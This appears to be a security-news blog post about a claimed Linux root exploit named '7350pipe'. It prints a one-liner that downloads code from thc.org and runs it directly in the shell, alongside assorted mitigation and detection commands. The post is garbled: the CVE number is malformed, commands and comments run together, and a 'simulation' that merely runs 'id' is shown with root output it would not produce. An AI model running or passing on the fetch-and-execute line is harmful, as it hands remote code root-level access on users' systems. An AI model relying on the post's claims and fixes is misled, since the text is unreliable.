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A critical privilege escalation vulnerability, CVE-20250401 (7350pipe), has been discovered affecting all versions of Linux. The exploit allows attackers to gain root privileges using a simple one-liner command:
. <(curl -SsfL thc.org/7350pipe)
This vulnerability leverages a flaw in Linux’s pipe mechanism, enabling unauthorized privilege escalation.
You Should Know:
1. Exploit Analysis
The exploit abuses a race condition in Linux kernel pipe handling, allowing arbitrary code execution as root.
2. Verification & Mitigation
Check if your system is vulnerable:
uname -a cat /etc/os-release
Temporary mitigation (until patch is applied):
chmod 700 /usr/bin/curl Restrict curl execution sysctl -w kernel.unprivileged_userns_clone=0 Disable unprivileged user namespaces
3. Permanent Fix
Update your kernel immediately:
sudo apt update && sudo apt upgrade -y Debian/Ubuntu sudo yum update -y RHEL/CentOS
4. Detection & Logging
Monitor suspicious activities with:
grep -i "7350pipe" /var/log/auth.log journalctl -u ssh --no-pager | grep "root shell"
5. Exploit Simulation (For Ethical Testing)
If testing in a lab environment:
echo "Testing exploit simulation..."
python3 -c 'import os; os.system("id")'
What Undercode Say
This exploit highlights the importance of kernel hardening and timely patching. Key takeaways:
– Always restrict curl/wget in production environments.
– Monitor privilege escalation attempts via audit logs (auditd).
– Use SELinux/AppArmor to restrict process capabilities.
Additional Commands for Security:
Check active processes ps aux | grep -i "malicious" Verify file integrity sha256sum /usr/bin/su Disable dangerous kernel features sysctl -w kernel.sysrq=0
Expected Output:
uid=0(root) gid=0(root) groups=0(root)
Reference: thc.org/7350pipe (Exploit Details)
References:
Reported By: Muneer Ahmad7 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
